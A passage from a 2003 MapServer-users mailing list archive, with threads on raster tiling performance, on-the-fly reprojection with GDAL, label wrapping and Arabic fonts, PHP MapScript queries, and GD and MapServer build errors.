you to only read a specific portion of the file. However, if your test images are set up such that you need to read most of each file anyway, you may see little difference. 2. Smaller image tiles with a TILEINDEX are usually a good idea, but don't overdo it. Disk seek time (going from one file to another) is typically much slower than reading from a single file. So don't make very small images such that each map image request requires many image files to be opened and read. Images that are perhaps 2 to 5 times the size of the map image in each dimension might be a good target - that means you'll have many cases in which only one source image needs to be read. Making the files larger (if they're uncompressed GeoTIFF) isn't really a problem either. If you make the image files too large, you will end up doing multiple disk seeks inside the file, which aren't as bad as multiple-file seeks but which should be avoided if possible. 3. For aerial photography, TIFFs typically don't compress very much, so uncompressed is fine. This also eliminates some issues you might have with various compression schemes. 4. For some people it's not obvious that zooming OUT on the image (showing a large area on the map) is much more work than zooming IN on it. If you expect your users to be viewing zoomed-out images often, look into GDAL's support for image pyramids. This allows you to create pre-resampled, lower-resolution versions of each image that are automatically used for zoomed-out display. The disadvantage is that they require more disk space, but you can get significant improvements in performance for only a 15% - 20% increase in storage space. 5. Disk space is cheap - use it. 400GB of good IDE disk storage costs around USD$650 right now, or just about 70,000 times cheaper than the first hard disk I ever purchased . 6. Make sure your testing models the way your maps will really be used. The zoom level is the most important factor - if your users are mostly going to view the photos at full-scale, test that way. If they're mostly zoomed out, be sure to test that way, because there are different factors involved. Good luck! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Hubert Fr?hlich [mailto:hubert.froehlich at bvv.bayern.de] Sent: Thursday, January 23, 2003 10:45 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] raster image server: optimal performance Hello list, I want to use MapServer 3.6.3 as a raster server for rectified aerial photos , working on a Linux box (SuSE 8.0), I have also gdal. For testing, I worked with a dataset of jpg's (plus worldfiles) or geotiffs. I have a test dataset of aerial photos (jpg plus worldfile, alernatively geotiff) of an area 40 x 25 km in 1km-square tiles with resolution 40 cm, i.e. the tiles are 2500x2500 pixels, about 800 tiles. To get things working at all, I proceeded the usual way for raster images setting up an index shapefile (e.g. with gdaltindex). So far, everything OK ... Now I want to speed up things, as my original dataset covers 200x350 km, all in 40cm resolution. (IN jpeg 80 GByte, in GeoTiff about 400 GByte!), in 1km-squares that would mean 70000 tiles. The files are stored in a simple file system. a) I tried out jpeg's vs (uncompressed) geotiffs. With the test dataset, jpegs (also diskspace-saving!) seemed to perform slightly better. Can anybody share the experience or give me hints about the best performing data format? b) What effect on MapServer response time does the tile size have? Any recommendations on the list for optimal tile size (bigger means less tiles) for best performance? Any dependencies on the data format? c) At the moment, I use b/w photos. What changes do I face in performance if I switch to color? Thank you Hubert -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fr?hlich Bezirksfinanzdirektion M?nchen Alexandrastr. 3, D-80538 M?nchen, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2459 hubert.froehlich at bvv.bayern.de _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nida at webstar.co.uk Thu Jan 23 07:59:29 2003 From: nida at webstar.co.uk (nida Khan) Date: Thu, 23 Jan 2003 15:59:29 -0000 Subject: [Mapserver-users] WRAP a label References: <032601c2c2f1$578472c0$a901a8c0@private.webstar.co.uk> <3E300BD9.635B739@aris.nl> Message-ID: <036901c2c2f8$69bd8060$a901a8c0@private.webstar.co.uk> Thank you very much for your explaination. All this time I was thinking I have to specify number of characters after which it will start wrapping. anyway now WRAP " " works great!!!!!! Thank you again Regards Nida. ----- Original Message ----- From: "Berend Veldkamp" To: Sent: Thursday, January 23, 2003 3:35 PM Subject: Re: [Mapserver-users] WRAP a label > This is from the mapfile documentation: > WRAP [character] > Character that represents an end-of-line condition in label text, thus > resulting in a multi-line label. > > I guess you need to insert a special character in your text where you > want to have it wrapped. > Example: > > This is a long\line of text > > WRAP '\' > > wraps to: > This is a long > line of text > > Berend > > > > nida Khan wrote: > > > > WRAP 20 > > -- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Rich at GreenwoodMap.com Thu Jan 23 08:31:40 2003 From: Rich at GreenwoodMap.com (Richard Greenwood) Date: Thu, 23 Jan 2003 09:31:40 -0700 Subject: [Mapserver-users] raster image server: optimal performance In-Reply-To: <3E300E06.9050006@bvv.bayern.de> Message-ID: <5.2.0.9.0.20030123091945.00b19c90@mail.GreenwoodMap.com> --=======27F14429======= Content-Type: text/plain; x-avg-checked=avg-ok-28EBBE0; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable It's hard to add much to Ed McNierney reply, but I would emphasize the use= =20 of image pyramids which can be created with gdaladdo. Color versus=20 grayscale will not make any difference if you use an 8 bit color pallet. I= =20 use a single 200 color pallet for all my imagery (both color & grayscale)=20 this guarantees that adjacent tiles look similar and leaves 50 colors for=20 other purposes. I've also had pretty good luck with ecw compression of grayscale images.=20 Unfortunately this is only an option on windows. The color ecw looked=20 pretty bad, but I expect we'll see improvements with 24 bit color in ms 3.7. Rich At 04:45 PM 1/23/2003 +0100, you wrote: >Hello list, > >I want to use MapServer 3.6.3 as a raster server for rectified aerial= photos >, working on a Linux box (SuSE 8.0), I have also gdal. > >For testing, I worked with a dataset of jpg's (plus worldfiles) or >geotiffs. > >I have a test dataset of aerial photos (jpg plus worldfile, alernatively >geotiff) of an area 40 x 25 km in 1km-square tiles with resolution 40 >cm, i.e. the tiles are 2500x2500 pixels, about 800 tiles. > >To get things working at all, I proceeded the usual way >for raster images setting up an index >shapefile (e.g. with gdaltindex). So far, everything OK ... > > >Now I want to speed up things, as my original dataset covers 200x350 km, >all in 40cm resolution. (IN jpeg 80 GByte, in GeoTiff about 400 GByte!), > in 1km-squares that would mean 70000 tiles. The files are stored in a >simple file system. > >a) I tried out jpeg's vs (uncompressed) geotiffs. With the test dataset, >jpegs (also diskspace-saving!) seemed to perform slightly better. Can >anybody share the experience or give me hints about the best performing >data format? > >b) What effect on MapServer response time does the tile size have? Any >recommendations on the list for optimal tile size (bigger means less >tiles) for best performance? Any dependencies on the data format? > >c) At the moment, I use b/w photos. What changes do I face in >performance if I switch to color? > > >Thank you > >Hubert >-- >---------------------------------------------------------------------------= ---- >Dr.-Ing. Hubert Fr=F6hlich >Bezirksfinanzdirektion M=FCnchen >Alexandrastr. 3, D-80538 M=FCnchen, GERMANY >Tel. :+49 (0)89 / 2190 - 2980 >Fax :+49 (0)89 / 2190 - 2459 >hubert.froehlich at bvv.bayern.de > > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Richard W. Greenwood, PLS Greenwood Mapping, Inc. Rich at GreenwoodMap.com (307) 733-0203 http://www.GreenwoodMap.com=20 --=======27F14429=======-- From vatsavai at cs.umn.edu Thu Jan 23 08:39:42 2003 From: vatsavai at cs.umn.edu (Ranga Raju Vatsavai) Date: Thu, 23 Jan 2003 10:39:42 -0600 (CST) Subject: [Mapserver-users] CVS down Message-ID: <200301231639.KAA04674@pluto.cs.umn.edu> Hello All, CVS is down due to security advisory; well be back to normal by today evening. Thanks Raju ---- From rhornsby at io.osuedc.org Thu Jan 23 09:09:11 2003 From: rhornsby at io.osuedc.org (richard hornsby) Date: Thu, 23 Jan 2003 12:09:11 -0500 (EST) Subject: [Mapserver-users] no map, single black line Message-ID: Sorry to bother everyone with this, but I'm stuck. I've got the demo app running just fine, which seems to indicate that I've installed the cgi correctly, ie: http://io.osuedc.org/mapserv/itasca/demo_init.html However, I cannot follow the first example of the tutorial for anything. I went so far as to download the tutorial package, and install it with the same exact paths it already has, and I'm getting the same results as when I was trying to follow along with my own data/.map file: a single black vertical line, and nothing else, ie: http://io.osuedc.org/terrasipBProjects/tutorial35/s1/s1ex1.html If anyone could provide any suggestions, I would really appreciate it. I'm sure its some stupid thing I'm overlooking. -rj osuedc systems developer -- Information Center, n.: A room staffed by professional computer people whose job it is to tell you why you cannot have the information you require. rj hornsby . systems engineer . www.osuedc.org human and community resource development p 614 688 8761 . f 614 688 8762 From jeffb at erlandsen.com Thu Jan 23 10:54:47 2003 From: jeffb at erlandsen.com (Jeff Berry) Date: Thu, 23 Jan 2003 10:54:47 -0800 Subject: [Mapserver-users] QueryByAttributes - Search Parcels By Owner Name Message-ID: I'm trying to add a query tool to search parcels by owner name, and have the map highlight and zoom. However, I'm having trouble getting the query to work. Below is a stripped down version of the code. I print the $parcelfound variable just to test the query. I have a textline called OwnerName for entering parcels owners to search by. But regardless of what I enter in that line I come up with the "Parcel Found" everytime, even though I know the values don't exist in the table. It seems the OwnerName variable is not being used and it's querying with just an empty string. Also, I have a question about how QueryByAttribute actually works. In the examples I've found in the list archive, the only thing being used is 'setfilter'. Is that filter value being searched for in all columns of the table? Is it possible to specify one column for it to search in? if ($HTTP_FORM_VARS["OwnerName"]) { $layer = $gpoMap->getLayerByName("parcels"); $layer->set("status",MS_ON); $layer->setfilter("\"$OwnerName\""); $rv = $layer->queryByAttributes($gpoMap, MS_SINGLE); if ($rv == MS_SUCCESS) { $parcelfound = "Parcels Found"; } else { $parcelfound = "No Parcels Found"; } } Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com From rjames57 at yahoo.com Thu Jan 23 11:38:29 2003 From: rjames57 at yahoo.com (randy james) Date: Thu, 23 Jan 2003 11:38:29 -0800 (PST) Subject: [Mapserver-users] Raster Projection Message-ID: <20030123193829.5695.qmail@web12508.mail.yahoo.com> Hi List I have some orthophotos in geotiff format. Some are in albers equal area and some are UTM, projection. H have been trying to reproject on the fly, but i cannot seem to get it to work. The map projection is UTM so i do not have a problem with the orthos that are already in UTM, but cannot get the AEA orthos to load. Been reading the list, and seen that raster layers are used as is and cannot be reprojected on the fly. Is this correct? Is it possible to use shape tile index on the orthophotos, and reproject the shape file? I thought someone may have tried, if not i'll give it a try today. Cheers __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From ed at topozone.com Thu Jan 23 11:48:11 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 23 Jan 2003 14:48:11 -0500 Subject: [Mapserver-users] Raster Projection Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3BC9@mercator.topozone.com> Randy - If you're using GDAL for raster support (rather than the native GeoTIFF support) you can indeed reproject rasters on the fly. I do this all the time and (within reason) it works just fine. Most likely suspect: You're not using GDAL Next most likely suspect: Your AEA and UTM projection specs don't match correctly Can you post the coordinate and projection specs for both the UTM and the AEA files? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: randy james [mailto:rjames57 at yahoo.com] Sent: Thursday, January 23, 2003 2:38 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Raster Projection Hi List I have some orthophotos in geotiff format. Some are in albers equal area and some are UTM, projection. H have been trying to reproject on the fly, but i cannot seem to get it to work. The map projection is UTM so i do not have a problem with the orthos that are already in UTM, but cannot get the AEA orthos to load. Been reading the list, and seen that raster layers are used as is and cannot be reprojected on the fly. Is this correct? Is it possible to use shape tile index on the orthophotos, and reproject the shape file? I thought someone may have tried, if not i'll give it a try today. Cheers __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Thu Jan 23 11:58:18 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 23 Jan 2003 14:58:18 -0500 Subject: [Mapserver-users] Raster Projection In-Reply-To: <20030123193829.5695.qmail@web12508.mail.yahoo.com> References: <20030123193829.5695.qmail@web12508.mail.yahoo.com> Message-ID: <3E30495A.5060602@pobox.com> randy james wrote: > Hi List > > I have some orthophotos in geotiff format. Some are in > albers equal area and some are UTM, projection. H have > been trying to reproject on the fly, but i cannot seem > to get it to work. The map projection is UTM so i do > not have a problem with the orthos that are already in > UTM, but cannot get the AEA orthos to load. > > Been reading the list, and seen that raster layers are > used as is and cannot be reprojected on the fly. Is > this correct? > > Is it possible to use shape tile index on the > orthophotos, and reproject the shape file? I thought > someone may have tried, if not i'll give it a try > today. Randy, MapServer configured with PROJ and GDAL support (and TIFF disabled) can reproject rasters on the fly; however, there are some limitations. o You can't generally mix images in different projections in an index file. o A given raster layer can only have one projections. o If the file is handled through the non-GDAL TIFF driver reprojection won't be supported. o This stuff works in 3.6.x and 3.7dev and is likely working best in the 3.7 version. Basicially, if you want to do this you will need to make a separate layer for each raster input projection you want to work with. You may contact me directly for further assistance if needed. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From hunt at zedxinc.com Thu Jan 23 11:52:32 2003 From: hunt at zedxinc.com (Aaron D. Hunt) Date: Thu, 23 Jan 2003 14:52:32 -0500 Subject: [Mapserver-users] Raster Projection References: <20030123193829.5695.qmail@web12508.mail.yahoo.com> Message-ID: <007201c2c318$f811e930$1805000a@zedxinc.com> I use raster reporjection all the time You may need to compile mapserver with gdal and use the option --without-tiff so mapserver uses gdal and not its native support tiff support. Aaron ----- Original Message ----- From: "randy james" To: Sent: Thursday, January 23, 2003 2:38 PM Subject: [Mapserver-users] Raster Projection > Hi List > > I have some orthophotos in geotiff format. Some are in > albers equal area and some are UTM, projection. H have > been trying to reproject on the fly, but i cannot seem > to get it to work. The map projection is UTM so i do > not have a problem with the orthos that are already in > UTM, but cannot get the AEA orthos to load. > > Been reading the list, and seen that raster layers are > used as is and cannot be reprojected on the fly. Is > this correct? > > Is it possible to use shape tile index on the > orthophotos, and reproject the shape file? I thought > someone may have tried, if not i'll give it a try > today. > > Cheers > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Thu Jan 23 11:59:15 2003 From: rjames57 at yahoo.com (randy james) Date: Thu, 23 Jan 2003 11:59:15 -0800 (PST) Subject: [Mapserver-users] Raster Projection Message-ID: <20030123195915.10998.qmail@web12508.mail.yahoo.com> Hi list Thanks for the info I need to recompile with GDAL support, and --without-tiff Thanks __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From rhornsby at io.osuedc.org Thu Jan 23 13:22:00 2003 From: rhornsby at io.osuedc.org (richard hornsby) Date: Thu, 23 Jan 2003 16:22:00 -0500 (EST) Subject: [Mapserver-users] no map, single black line (SOLVED) In-Reply-To: Message-ID: It was a combination of things - bad ownership of the cgi and unexpected path translations. The black line was actually the 1 pixel black border around the non-existent image, which I suspected. duh. -- Information Center, n.: A room staffed by professional computer people whose job it is to tell you why you cannot have the information you require. rj hornsby . systems engineer . www.osuedc.org human and community resource development p 614 688 8761 . f 614 688 8762 On Thu, 23 Jan 2003, richard hornsby wrote: rh : rh :Sorry to bother everyone with this, but I'm stuck. I've got the demo app rh :running just fine, which seems to indicate that I've installed the cgi rh :correctly, ie: rh : rh : http://io.osuedc.org/mapserv/itasca/demo_init.html rh : rh :However, I cannot follow the first example of the tutorial for anything. rh :I went so far as to download the tutorial package, and install it with the rh :same exact paths it already has, and I'm getting the same results as when rh :I was trying to follow along with my own data/.map file: a single black rh :vertical line, and nothing else, ie: rh : rh : http://io.osuedc.org/terrasipBProjects/tutorial35/s1/s1ex1.html rh : rh :If anyone could provide any suggestions, I would really appreciate it. rh :I'm sure its some stupid thing I'm overlooking. rh : rh :-rj rh :osuedc systems developer rh : rh :-- rh :Information Center, n.: rh : A room staffed by professional computer people whose job it is to rh : tell you why you cannot have the information you require. rh : rh :rj hornsby . systems engineer . www.osuedc.org rh :human and community resource development rh :p 614 688 8761 . f 614 688 8762 rh : rh : rh :_______________________________________________ rh :Mapserver-users mailing list rh :Mapserver-users at lists.gis.umn.edu rh :http://lists.gis.umn.edu/mailman/listinfo/mapserver-users rh : From dionnaldbeh at lycos.com Thu Jan 23 13:45:45 2003 From: dionnaldbeh at lycos.com (Dionnald Beh) Date: Fri, 24 Jan 2003 04:45:45 +0700 Subject: [Mapserver-users] Java Scripts Problems Message-ID: Dear members, Greeting. I am learning JavaScripts recently. I would to use this programming language to manage the mapping functions such as zoom in, zoom out, pan, identifier and zoom extent. However, i am new in writing the Java Scripts programming. I have tried a few days to learn and do some experiments with it. But, i am not satisfied with my result. So, i would to ask for help. Can anyone kindly to tell me the correct way to write the Java Scripts program for those mapping tools? Thanks. Dionnald Beh _____________________________________________________________ Get 25MB, POP3, Spam Filtering with LYCOS MAIL PLUS for $19.95/year. http://login.mail.lycos.com/brandPage.shtml?pageId=plus&ref=lmtplus From bwragg at tpg.com.au Thu Jan 23 14:03:38 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Fri, 24 Jan 2003 08:33:38 +1030 Subject: [Mapserver-users] getLayerByName crashes Message-ID: <000001c2c32b$48e6f1e0$0100a8c0@mapping12> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C2C383.4B7535E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, When ever I call: $map=newMapObj('mapfile.map'); $map->getlayerbyname('layername'); php.exe crashes. Any ideas? Thanks, Benjamin Wragg ------=_NextPart_000_0001_01C2C383.4B7535E0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi all,

 

When ever I call:

 

$map=3DnewMapObj(‘mapfile.map&= #8217;);

$map->getlayerbyname(‘layer= name’);

 

php.exe crashes.

 

Any ideas?

 

Thanks,

 

Benjamin Wragg

------=_NextPart_000_0001_01C2C383.4B7535E0-- From vatsavai at cs.umn.edu Thu Jan 23 14:05:47 2003 From: vatsavai at cs.umn.edu (Ranga Raju Vatsavai) Date: Thu, 23 Jan 2003 16:05:47 -0600 (CST) Subject: [Mapserver-users] CVS is up Message-ID: <200301232205.QAA05920@pluto.cs.umn.edu> Hello All, CVS is up and running. Let me know if any one notice any broken functionality. Thanks Raju ---- From listamapserver at hotmail.com Thu Jan 23 14:10:35 2003 From: listamapserver at hotmail.com (Andres Garcia) Date: Thu, 23 Jan 2003 17:10:35 -0500 Subject: [Mapserver-users] How to show text maps??? Message-ID: Hi everybody! I have a text shape. How can I show this text shape in mapserver??? _________________________________________________________________ From squale_666 at hotmail.com Thu Jan 23 14:42:53 2003 From: squale_666 at hotmail.com (Daniel Penninck) Date: Thu, 23 Jan 2003 22:42:53 +0000 Subject: [Mapserver-users] Arabic label Message-ID: Hi, I would like to know how to display arabic label in my mapserver test application. I have streets's names encoded in arabic: character code is ISO-8859-6. Example of label value in the db: ???? ?????? and I am sure this value can be display in arabic. I want to see them as arabic label in the map, but it doesn't work: I was no-sens label instead! Can Someone help? Thanks, Daniel. PS: value in db: ???? ?????? arabic label: ﺎﺘﻓﺪﻓﺍ ﻍﺭﺎﺷ _________________________________________________________________ Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail From woodbri at swoodbridge.com Thu Jan 23 15:25:05 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Thu, 23 Jan 2003 18:25:05 -0500 Subject: [Mapserver-users] Arabic label In-Reply-To: Message-ID: <3E303381.9098.4245A60@localhost> Daniel, You will need to get a true type font that will render the arabic characters correctly before it will look correct. I found one searching the web, but I am in the process of moving everything to a new system and I can't find anything at the moment. But try a google search for something like "arabic true type font download" should get you pretty close. -Steve W. On 23 Jan 2003 at 22:42, Daniel Penninck wrote: > Hi, > > I would like to know how to display arabic label in my mapserver test > application. > > I have streets's names encoded in arabic: character code is > ISO-8859-6. Example of label value in the db: ???? ?????? and I am > sure this value can be display in arabic. > > I want to see them as arabic label in the map, but it doesn't work: I > was no-sens label instead! > > Can Someone help? > > Thanks, > > Daniel. > > PS: > value in db: > ???? ?????? > > arabic label: > ﺎﺘﻓﺪﻓﺍ > ﻍﺭﺎﺷ > > > _________________________________________________________________ > Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From pond_bear at hotmail.com Thu Jan 23 15:32:05 2003 From: pond_bear at hotmail.com (pond bear) Date: Thu, 23 Jan 2003 17:32:05 -0600 Subject: [Mapserver-users] How to get the x y value of a pixel from the tiff file by mapserver Message-ID: I succeeded to compile mapserver and run it on my Redhat 7.3 machine. Now I can show a tiff image by mapserver and zoom in or zoom out. Can I get the x/y value or latitude/longitude value when I click on the tiff image? _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From sfkeller at hsr.ch Thu Jan 23 15:59:28 2003 From: sfkeller at hsr.ch (Stefan F. Keller) Date: Fri, 24 Jan 2003 00:59:28 +0100 Subject: [Mapserver-users] Any intelligent label placer or SVG-output extension plans? Message-ID: Dear UMN MapServer users I have some plans for possible students semester work: 1. An point (line/region?) label placement algorithm using more 'intelligent' algorithms (so called genetic or simulated annealing alg.) or 2. An SVG-output generator (using dynamic features) for the visualization of sportsmen trails - an application targeted for the world championshsip of cross country in Rapperswil, Switzerland (www.olwm2003.ch). All this should be done of course by extending MapServer (hard core C coding...). Since I don't want them to invent the wheel: does anybody have any hints or plans about such projects? Regards -- Stefan ____________________________________________________________________ Prof. Stefan F. Keller, Computer Science, HSR, http://www.integis.ch From brclark at usgs.gov Thu Jan 23 16:52:03 2003 From: brclark at usgs.gov (Brian Clark) Date: Thu, 23 Jan 2003 18:52:03 -0600 Subject: [Mapserver-users] GD 2.x install problem Message-ID: <3E308E33.9050607@usgs.gov> Hey all, We've attempted the upgrade to GD 2.0.11, but initially ran into problems missing jconfig.h, jmorecfg.h, jpeglib.h, jerror.h. Re-directed the path in the Makefile, then ran into problems missing xpm.h. Is this needed? configured --without-xpm, but install gave: ./libtool[4761]: ranlib: not found *** Error code 127 make: Fatal error: Command failed for target `install-libLTLIBRARIES' Current working directory /MAPSERVER/GD/gd-2.0.11 *** Error code 1 make: Fatal error: Command failed for target `install-am' Current working directory /MAPSERVER/GD/gd-2.0.11 *** Error code 1 make: Fatal error: Command failed for target `install-recursive' # exit GD 1.8.4 built without incident. OS is Solaris 6. Ideas? ThaADVANCEnks -Brian From steve.lime at dnr.state.mn.us Thu Jan 23 17:01:08 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 23 Jan 2003 19:01:08 -0600 Subject: [Mapserver-users] How to get the x y value of a pixel from the tiff file by mapserver Message-ID: Yes you can. One way is to set up a dummy shapefile (1 big polygon consisting of 4 points, a rectangle) that is larger than the extent of your image dataset. With that file you have something to query since you can't query raster layers. Then you can create a query template and use the [mayx] [mapy] substitutions to get at the mouse click. There are also [maplat] [maplon] substitutions to get lat/lon if you have proj.4 support. Another way to do this would be to actually switch template files. So, if a user want's just the xy coordinate you use a template file that doesn't actually show a map, but just uses the substitutions mentioned above. There also used to be a showxy mode, but it's undocumented and I'll have to look at source to tell you how to use it. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "pond bear" 01/23/03 05:32PM >>> I succeeded to compile mapserver and run it on my Redhat 7.3 machine. Now I can show a tiff image by mapserver and zoom in or zoom out. Can I get the x/y value or latitude/longitude value when I click on the tiff image? _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu Jan 23 17:20:22 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 23 Jan 2003 19:20:22 -0600 Subject: [Mapserver-users] DBF Joins Message-ID: Joins are close but not yet working in 3.7. The plan at the moment is to bring join support back to where it was pre-3.5. That means joins will only work with query results. Without some indexing of xbase files, which I don't have time to add, realtime joins for use with expressions is simply not practical with datasets of even minimal size. If someone would like to take that on, particularly adding b-tree indexes to a .dbf file then it can be revisited. Joins for query support should, with no sick kids at home, happen in the next couple of days. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "John McCue" 01/23/03 08:35AM >>> Hi I need to use DBF table joins in MapServer v.3.7. I just updated my code with the latest from CVS and I have found the msJoinDBFTables function in mapquery.c, but I don't see where this function is ever called anywhere. - Have joins been activated in the latest code? Any information about how they work would be helpful. Thanks! _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Thu Jan 23 17:28:28 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 23 Jan 2003 19:28:28 -0600 Subject: [Mapserver-users] Any intelligent label placer or SVG-output extension plans? Message-ID: Hi Stefan: I'd be very curious in 1. simply because it would have the most impact since everyone needs label points. And because the current labeling, while it works pretty well, is decidedly home grown and I'm interested in seeing great looking maps. To my knowledge there is nobody else looking at that area other than myself. However there are folks looking at SVG. It may be better to wait a bit on that because it would likely be easier to pattern SVG output on the SWF/PDF code already there. That code isn't mature though so letting those developers polish that code off first might make sense. My 2 cents anyway... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Stefan F. Keller" 01/23/03 05:59PM >>> Dear UMN MapServer users I have some plans for possible students semester work: 1. An point (line/region?) label placement algorithm using more 'intelligent' algorithms (so called genetic or simulated annealing alg.) or 2. An SVG-output generator (using dynamic features) for the visualization of sportsmen trails - an application targeted for the world championshsip of cross country in Rapperswil, Switzerland (www.olwm2003.ch). All this should be done of course by extending MapServer (hard core C coding...). Since I don't want them to invent the wheel: does anybody have any hints or plans about such projects? Regards -- Stefan ____________________________________________________________________ Prof. Stefan F. Keller, Computer Science, HSR, http://www.integis.ch _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From woodbri at swoodbridge.com Thu Jan 23 17:47:36 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Thu, 23 Jan 2003 20:47:36 -0500 Subject: [Mapserver-users] Arabic label In-Reply-To: <3E303381.9098.4245A60@localhost> References: Message-ID: <3E3054E8.15141.4A6D5F1@localhost> Daniel, I found the link you need to get the titus unicode true type font. They have an arabic font, look under the unicode link on the right to get started: http://titus.fkidg1.uni-frankfurt.de/indexe.htm -Steve W. On 23 Jan 2003 at 18:25, woodbri at swoodbridge.com wrote: > Daniel, > > You will need to get a true type font that will render the arabic > characters correctly before it will look correct. I found one > searching the web, but I am in the process of moving everything to a > new system and I can't find anything at the moment. But try a google > search for something like "arabic true type font download" should get > you pretty close. > > -Steve W. > > On 23 Jan 2003 at 22:42, Daniel Penninck wrote: > > > Hi, > > > > I would like to know how to display arabic label in my mapserver > > test application. > > > > I have streets's names encoded in arabic: character code is > > ISO-8859-6. Example of label value in the db: ???? ?????? and I am > > sure this value can be display in arabic. > > > > I want to see them as arabic label in the map, but it doesn't work: > > I was no-sens label instead! > > > > Can Someone help? > > > > Thanks, > > > > Daniel. > > > > PS: > > value in db: > > ???? ?????? > > > > arabic label: > > ﺎﺘﻓﺪﻓﺍ > > ﻍﺭﺎﺷ > > > > > > _________________________________________________________________ > > Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From brclark at usgs.gov Thu Jan 23 17:56:07 2003 From: brclark at usgs.gov (Brian Clark) Date: Thu, 23 Jan 2003 19:56:07 -0600 Subject: [Mapserver-users] GD 2.x install problem References: <3E308E33.9050607@usgs.gov> <3E3094F3.7010002@pobox.com> Message-ID: <3E309D37.7040607@usgs.gov> Thanks, That seemed to work for GD. Now for Mapserver 3.6.4...(sorry to keep bugging) tail of make using: configure --without-tiff --with-proj=/usr/local/lib --with-gdal --with-wmsclient renders: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/usr/include -I/usr/local/lib -I/usr/local/include mapfile.c -o mapfile.o mapfile.c: In function `getSymbol': mapfile.c:154: `__builtin_va_alist' undeclared (first use in this function) mapfile.c:154: (Each undeclared identifier is reported only once mapfile.c:154: for each function it appears in.) mapfile.c:156: warning: implicit declaration of function `__builtin_va_arg_incr' mapfile.c:149: warning: `argp' might be used uninitialized in this function mapfile.c: In function `msLoadProjectionString': mapfile.c:619: warning: subscript has type `char' make: *** [mapfile.o] Error 1 Something obvious? -Brain Frank Warmerdam wrote: > Brian wrote: > >> Hey all, >> We've attempted the upgrade to GD 